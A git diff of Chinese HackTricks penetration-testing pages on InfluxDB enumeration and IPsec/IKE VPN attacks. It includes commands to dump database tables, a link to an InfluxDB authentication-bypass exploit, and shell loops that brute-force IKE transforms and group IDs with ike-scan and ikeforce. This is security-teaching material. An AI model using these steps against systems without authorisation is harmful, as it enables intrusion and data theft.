时间序列数据集与其他数据集相比**相对较大且统一**——通常由时间戳和相关数据组成。时间序列数据集也可能在不同表中的数据条目之间具有较少的关系,并且不需要无限期地存储条目。时间序列数据集的独特属性意味着时间序列数据库可以在存储空间和性能上提供**显著的改进,相比于通用数据库**。例如,由于时间序列数据的统一性,**专门的压缩算法**可以提供比设计用于处理不太统一数据的常规压缩算法更好的改进。时间序列数据库还可以**配置为定期删除旧数据**,与设计用于无限期存储数据的常规数据库不同。特殊的数据库索引也可以提高查询性能。 (来自[这里](https://en.wikipedia.org/wiki/Time_series_database))。
|
时间序列数据集与其他数据集相比 **相对较大且均匀**,通常由时间戳和相关数据组成。时间序列数据集在不同表中的数据条目之间的关系较少,不需要无限期地存储条目。时间序列数据集的独特属性意味着时间序列数据库可以在存储空间和性能方面提供 **显著的改进**。例如,由于时间序列数据的统一性,**专门的压缩算法** 可以比设计用于不太统一数据的常规压缩算法提供改进。时间序列数据库还可以 **定期删除旧数据**,而常规数据库设计为无限期存储数据。特殊的数据库索引也可以提供查询性能的提升。 (来源:[这里](https://en.wikipedia.org/wiki/Time\_series\_database))。
|
||||||
|
|
||||||
**默认端口**:8086
|
**默认端口**:8086
|
||||||
```
|
```
|
||||||
|
@ -36,29 +37,29 @@ PORT STATE SERVICE VERSION
|
||||||
```
|
```
|
||||||
## 枚举
|
## 枚举
|
||||||
|
|
||||||
从渗透测试者的角度来看,这是另一个可能存储敏感信息的数据库,因此了解如何导出所有信息是很有意义的。
|
从渗透测试员的角度来看,这是另一个可能存储敏感信息的数据库,因此了解如何转储所有信息是很有趣的。
|
||||||
|
|
||||||
### 认证
|
### 认证
|
||||||
|
|
||||||
InfluxDB 可能需要认证,也可能不需要
|
InfluxDB可能需要认证,也可能不需要
|
||||||
```bash
|
```bash
|
||||||
# Try unauthenticated
|
# Try unauthenticated
|
||||||
influx -host 'host name' -port 'port #'
|
influx -host 'host name' -port 'port #'
|
||||||
> use _internal
|
> use _internal
|
||||||
```
|
```
|
||||||
如果您**收到类似**这样的错误:`ERR: unable to parse authentication credentials`,这意味着它**需要一些凭据**。
|
如果你遇到类似这样的错误:`ERR: unable to parse authentication credentials`,这意味着它**需要一些凭据**。
|
||||||
```
|
```
|
||||||
influx –username influx –password influx_pass
|
influx –username influx –password influx_pass
|
||||||
```
|
```
|
||||||
存在一个influxdb的漏洞,允许绕过认证:[**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
|
存在一个漏洞,允许绕过身份验证:[**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
|
||||||
|
|
||||||
### 手动枚举
|
### 手动枚举
|
||||||
|
|
||||||
此示例信息取自[**此处**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/)。
|
这个示例的信息来自[**这里**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/)。
|
||||||
|
|
||||||
#### 显示数据库
|
#### 显示数据库
|
||||||
|
|
||||||
找到的数据库是 _telegraf_ 和 _\_internal_(你会在任何地方找到这个)
|
找到的数据库是 _telegraf_ 和 _\_internal_(你会在任何地方找到这个)。
|
||||||
```bash
|
```bash
|
||||||
> show databases
|
> show databases
|
||||||
name: databases
|
name: databases
|
||||||
|
@ -67,9 +68,9 @@ name
|
||||||
telegraf
|
telegraf
|
||||||
_internal
|
_internal
|
||||||
```
|
```
|
||||||
#### 显示表/测量值
|
#### 显示表/测量
|
||||||
|
|
||||||
正如 [**InfluxDB 文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) 所解释的,SQL **测量值** 可以被视为 SQL 表。正如上面的 **测量值** 名称所暗示的,每个测量值包含的信息都与特定实体有关。
|
[**InfluxDB文档**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/)解释说,在InfluxDB中,**测量**可以与SQL表并行。这些**测量**的命名方式表明了它们各自内容的相关性,每个都包含与特定实体相关的数据。
|
||||||
```bash
|
```bash
|
||||||
> show measurements
|
> show measurements
|
||||||
name: measurements
|
name: measurements
|
||||||
|
@ -109,7 +110,7 @@ inodes_used integer
|
||||||
```
|
```
|
||||||
#### 转储表
|
#### 转储表
|
||||||
|
|
||||||
最后,您可以通过以下操作**转储表**
|
最后,您可以执行类似以下操作来**转储表**:
|
||||||
```bash
|
```bash
|
||||||
select * from cpu
|
select * from cpu
|
||||||
name: cpu
|
name: cpu
|
||||||
|
@ -119,7 +120,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
|
||||||
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
在进行身份验证绕过测试时,注意到表名需要用双引号括起来,例如:`select * from "cpu"`
|
在进行身份验证绕过测试时,注意表名需要用双引号括起来,例如:`select * from "cpu"`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 自动化身份验证
|
### 自动化身份验证
|
||||||
|
@ -128,22 +129,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
|
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||||
立即获取访问权限:
|
立即获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -1,20 +1,22 @@
|
||||||
# 500/udp - IPsec/IKE VPN 渗透测试
|
# 500/udp - 渗透测试 IPsec/IKE VPN
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
发现最重要的漏洞,以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -22,17 +24,17 @@
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
IPsec 是用于网关到网关(LAN 到 LAN)和主机到网关(远程访问)企业 VPN 解决方案的最常用技术。
|
IPsec 是网关到网关(LAN 到 LAN)和主机到网关(远程访问)企业 VPN 解决方案中最常用的技术。
|
||||||
|
|
||||||
**IKE 是 ISAKMP 的一种类型**(Internet Security Association Key Management Protocol)实现,它是一种用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联(SA):
|
**IKE 是 ISAKMP 的一种类型**(Internet Security Association Key Management Protocol)实现,它是用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联(SA):
|
||||||
|
|
||||||
* **第 1 阶段:**使用预共享密钥(PSK)或证书在 2 个端点之间建立安全通道。它可以使用主模式(3 对消息)或**主动模式**。
|
* **第 1 阶段:** 使用预共享密钥(PSK)或证书在 2 个端点之间建立安全通道。它可以使用主模式(3 对消息)或 **主动** 模式。
|
||||||
* **第 1.5 阶段:**这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。
|
* **第 1.5 阶段:** 这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。
|
||||||
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全的参数。它可以使用与第 1 阶段不同的算法(完全前向保密(PFS))。
|
* **第 2 阶段:** 使用 ESP 和 AH 协商数据安全参数。它可以使用与第 1 阶段不同的算法(完美前向保密(PFS))。
|
||||||
|
|
||||||
**默认端口:**500/udp
|
**默认端口:** 500/udp
|
||||||
|
|
||||||
## 使用 nmap 发现服务
|
## 使用 nmap **发现** 服务
|
||||||
```
|
```
|
||||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||||
|
@ -42,13 +44,13 @@ PORT STATE SERVICE
|
||||||
500/udp open isakmp
|
500/udp open isakmp
|
||||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||||
```
|
```
|
||||||
## **寻找有效的转换**
|
## **查找有效的转换**
|
||||||
|
|
||||||
IPSec配置只能准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性,如DES或3DES作为**加密算法**,SHA或MD5作为**完整性算法**,预共享密钥作为**身份验证类型**,Diffie-Hellman 1或2作为密钥**分发算法**,以及28800秒作为**生命周期**。
|
IPSec配置可能只准备接受一个或几个转换。一个转换是一组值。**每个转换**包含一些属性,如DES或3DES作为**加密算法**,SHA或MD5作为**完整性算法**,预共享密钥作为**认证类型**,Diffie-Hellman 1或2作为密钥**分发算法**,以及28800秒作为**生存期**。
|
||||||
|
|
||||||
因此,你首先要做的是**找到一个有效的转换**,这样服务器才会与你通信。为此,你可以使用工具**ike-scan**。默认情况下,ike-scan在主模式下工作,并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。
|
因此,你首先要做的是**找到一个有效的转换**,这样服务器就会与你通信。为此,你可以使用工具**ike-scan**。默认情况下,Ike-scan在主模式下工作,并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。
|
||||||
|
|
||||||
根据响应,你可以获取有关终端的一些信息:
|
根据响应,你可以获取有关端点的一些信息:
|
||||||
```
|
```
|
||||||
root@bt:~# ike-scan -M 172.16.21.200
|
root@bt:~# ike-scan -M 172.16.21.200
|
||||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||||
|
@ -59,14 +61,15 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||||||
|
|
||||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||||
```
|
```
|
||||||
正如您在上一条回复中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着VPN是使用预共享密钥进行配置的(对于渗透测试人员来说,这非常好)。
|
正如您在上一个响应中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着 VPN 是使用预共享密钥配置的(这对于渗透测试人员来说非常有用)。
|
||||||
|
|
||||||
**最后一行的值也非常重要:**
|
**最后一行的值也非常重要:**
|
||||||
|
|
||||||
* _返回0个握手;返回0个通知:_ 这意味着目标不是一个IPsec网关。
|
* _0 returned handshake; 0 returned notify:_ 这意味着目标**不是 IPsec 网关**。
|
||||||
* _**返回1个握手;返回0个通知:**_ 这意味着目标已配置为IPsec,并愿意执行IKE协商,并且您提出的一个或多个变换是可接受的(输出中将显示一个有效的变换)。
|
* _**1 returned handshake; 0 returned notify:**_ 这意味着**目标已配置为 IPsec 并愿意执行 IKE 协商,并且您提出的一个或多个变换是可接受的**(有效的变换将显示在输出中)。
|
||||||
* _返回0个握手;返回1个通知:_ 当**没有一个变换是可接受的**时,VPN网关会响应一个通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。
|
* _0 returned handshake; 1 returned notify:_ VPN 网关在**没有任何变换可接受时**会响应通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。
|
||||||
|
|
||||||
因此,在这种情况下,我们已经有了一个有效的变换,但如果您处于第三种情况,则需要**稍微进行暴力破解以找到一个有效的变换:**
|
因此,在这种情况下,我们已经有一个有效的变换,但如果您处于第三种情况,则需要**稍微暴力破解以找到有效的变换**:
|
||||||
|
|
||||||
首先,您需要创建所有可能的变换:
|
首先,您需要创建所有可能的变换:
|
||||||
```bash
|
```bash
|
||||||
|
@ -76,30 +79,30 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||||
```
|
```
|
||||||
如果暴力破解没有成功,可能服务器即使对有效的转换也没有进行握手响应。那么,你可以尝试使用侵略模式进行相同的暴力破解:
|
如果暴力破解没有成功,也许服务器甚至对有效的转换也没有握手而直接响应。那么,您可以尝试使用侵略模式进行相同的暴力破解:
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||||
```
|
```
|
||||||
希望**有效的转换被回显**。\
|
希望**有效的转换被回显**。\
|
||||||
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
|
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
|
||||||
您还可以尝试使用[**ikeforce**](https://github.com/SpiderLabs/ikeforce)来暴力破解转换:
|
您还可以尝试使用[ikeforce](https://github.com/SpiderLabs/ikeforce)来暴力破解转换:
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||||
```
|
```
|
||||||
![](<../.gitbook/assets/image (109).png>)
|
![](<../.gitbook/assets/image (109).png>)
|
||||||
|
|
||||||
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\
|
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\
|
||||||
**2 = HMAC-SHA = SHA1(在这种情况下)。--trans格式为$Enc,$Hash,$Auth,$DH**
|
**2 = HMAC-SHA = SHA1(在这种情况下)。--trans格式为$Enc,$Hash,$Auth,$DH**
|
||||||
|
|
||||||
Cisco建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话,这很可能是国家可以做到的。通过实时解密使用弱组(1,024位或更小)的任何会话,数亿美元的预计算成本得到了摊销。
|
思科建议特别避免使用DH组1和2。论文的作者描述了**国家可能会通过离散对数预计算解密使用弱组协商的IPsec会话**。通过进行预计算花费的数亿美元,可以通过实时解密使用弱组(1,024位或更小)的任何会话来摊销成本。
|
||||||
|
|
||||||
### 服务器指纹识别
|
### 服务器指纹识别
|
||||||
|
|
||||||
然后,您可以使用ike-scan尝试**发现设备的供应商**。该工具发送一个初始提议并停止重放。然后,它将**分析**从服务器接收到的消息与匹配的响应模式之间的**时间差异**,渗透测试人员可以成功识别VPN网关供应商。此外,一些VPN服务器将使用带有IKE的可选**供应商ID(VID)负载**。
|
然后,您可以使用ike-scan尝试**发现设备的供应商**。该工具发送初始提议并停止重放。然后,它将**分析**从服务器接收的**消息**与匹配响应模式之间的**时间**差异,渗透测试人员可以成功识别VPN网关供应商。此外,一些VPN服务器将使用带有IKE的可选**供应商ID(VID)负载**。
|
||||||
|
|
||||||
**如果需要,指定有效的转换**(使用--trans)
|
**如有需要,请指定有效的转换**(使用--trans)
|
||||||
|
|
||||||
如果IKE发现供应商是谁,它将打印出来:
|
如果IKE发现供应商,它将打印出来:
|
||||||
```
|
```
|
||||||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||||
|
@ -119,54 +122,50 @@ IP Address No. Recv time Delta Time
|
||||||
|
|
||||||
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
||||||
```
|
```
|
||||||
这也可以使用nmap脚本_**ike-version**_来实现。
|
这也可以通过 nmap 脚本 _**ike-version**_ 实现
|
||||||
|
|
||||||
## 查找正确的ID(组名)
|
## 查找正确的 ID(组名)
|
||||||
|
|
||||||
为了能够捕获哈希值,您需要一个支持主动模式和正确ID(组名)的有效转换。您可能不知道有效的组名,因此您需要进行暴力破解。\
|
为了被允许捕获哈希值,您需要一个支持主动模式和正确 ID(组名)的有效转换。您可能不知道有效的组名,因此您将不得不使用暴力破解方法。\
|
||||||
为此,我建议您使用2种方法:
|
为此,我建议您使用 2 种方法:
|
||||||
|
|
||||||
### 使用ike-scan进行ID暴力破解
|
### 使用 ike-scan 进行 ID 暴力破解
|
||||||
|
|
||||||
首先,尝试使用虚假的ID发出请求,尝试收集哈希值("-P"):
|
首先尝试使用虚假 ID 发出请求,尝试收集哈希值("-P"):
|
||||||
```bash
|
```bash
|
||||||
ike-scan -P -M -A -n fakeID <IP>
|
ike-scan -P -M -A -n fakeID <IP>
|
||||||
```
|
```
|
||||||
如果**没有返回哈希值**,那么可能这种暴力破解方法会起作用。**如果返回了某个哈希值,这意味着将返回一个伪造的哈希值用于伪造的ID,因此这种方法不可靠**来暴力破解ID。例如,可能会返回一个伪造的哈希值(在现代版本中会发生这种情况):
|
如果**没有返回哈希值**,那么可能这种暴力破解方法会奏效。**如果返回了某个哈希值,这意味着将为一个虚假的ID发送一个虚假的哈希值,因此这种方法不可靠**用于暴力破解ID。例如,可能会返回一个虚假的哈希值(在现代版本中会发生):
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (110).png>)
|
![](<../.gitbook/assets/image (110).png>)
|
||||||
|
|
||||||
但是,如果如我所说,没有返回哈希值,那么你应该尝试使用ike-scan来暴力破解常见的组名。
|
但是,如我所说,如果没有返回哈希值,那么您应该尝试使用ike-scan来暴力破解常见的组名。
|
||||||
|
|
||||||
这个脚本**将尝试暴力破解可能的ID**,并返回返回有效握手的ID(这将是一个有效的组名)。
|
此脚本**将尝试暴力破解可能的ID**,并将返回发生有效握手的ID(这将是一个有效的组名)。
|
||||||
|
|
||||||
如果你发现了特定的转换,请在ike-scan命令中添加它。如果你发现了多个转换,请随意添加一个新的循环来尝试它们(你应该尝试它们所有,直到其中一个正常工作为止)。
|
如果您发现了特定的转换,请将其添加到ike-scan命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们(应该尝试它们直到其中一个正常工作为止)。
|
||||||
|
|
||||||
你可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名:
|
您可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)中的常见组名来进行暴力破解:
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||||
```
|
```
|
||||||
或者使用这个字典(是两个字典的组合,没有重复的内容):
|
### 使用 Iker 进行 ID 的暴力破解
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
[iker.py](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来 **根据 ike-scan 的输出找到有效的 ID**。
|
||||||
|
|
||||||
### 使用Iker进行ID暴力破解
|
### 使用 ikeforce 进行 ID 的暴力破解
|
||||||
|
|
||||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法,根据ike-scan的输出来找到一个有效的ID。
|
[ikeforce.py](https://github.com/SpiderLabs/ikeforce) 是一个工具,也可以用来 **暴力破解 ID**。该工具将 **尝试利用不同的漏洞**,这些漏洞可以用来 **区分有效和无效的 ID**(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。
|
||||||
|
|
||||||
### 使用ikeforce进行ID暴力破解
|
默认情况下,**ikeforce** 会在开始时发送一些随机的 id 来检查服务器的行为,并确定要使用的策略。
|
||||||
|
|
||||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来暴力破解ID的工具。该工具将尝试利用不同的漏洞来区分有效ID和非有效ID(可能会有误报和误判,这就是为什么我更喜欢使用ike-scan方法)。
|
* **第一种方法** 是通过 **搜索** Cisco 系统的 **Dead Peer Detection DPD** 信息来暴力破解组名(只有在组名正确时服务器才会回复此信息)。
|
||||||
|
* 可用的 **第二种方法** 是 **检查每次尝试发送的响应数量**,因为有时在使用正确的 id 时会发送更多的数据包。
|
||||||
|
* **第三种方法** 是在响应错误的 ID 时 **搜索“INVALID-ID-INFORMATION”**。
|
||||||
|
* 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器,并检查当发送正确的 id 时服务器是否会回复一些数据包。\
|
||||||
|
显然,暴力破解 id 的目的是在获得有效 id 后获取 **PSK**。然后,使用 **id** 和 **PSK**,您将需要暴力破解 XAUTH(如果已启用)。
|
||||||
|
|
||||||
默认情况下,ikeforce会在开始时发送一些随机的ID来检查服务器的行为,并确定要使用的策略。
|
如果您发现了特定的转换,请将其添加到 ikeforce 命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们全部(直到其中一个正常工作为止)。
|
||||||
|
|
||||||
* 第一种方法是通过搜索Cisco系统的Dead Peer Detection DPD信息(只有在组名正确时服务器才会回复该信息)来暴力破解组名。
|
|
||||||
* 第二种可用的方法是检查每次尝试发送的响应数量,因为有时在使用正确的ID时会发送更多的数据包。
|
|
||||||
* 第三种方法是在对不正确的ID进行响应时搜索"INVALID-ID-INFORMATION"。
|
|
||||||
* 最后,如果服务器对检查没有任何回复,ikeforce将尝试暴力破解服务器,并检查当发送正确的ID时服务器是否会回复一些数据包。\
|
|
||||||
显然,暴力破解ID的目标是在获得有效的ID后获取PSK。然后,使用ID和PSK将需要暴力破解XAUTH(如果启用)。
|
|
||||||
|
|
||||||
如果您发现了特定的转换,请将其添加到ikeforce命令中。如果您发现了多个转换,请随意添加一个新的循环来尝试它们(您应该尝试它们所有,直到其中一个正常工作为止)。
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
|
@ -177,66 +176,78 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
```
|
```
|
||||||
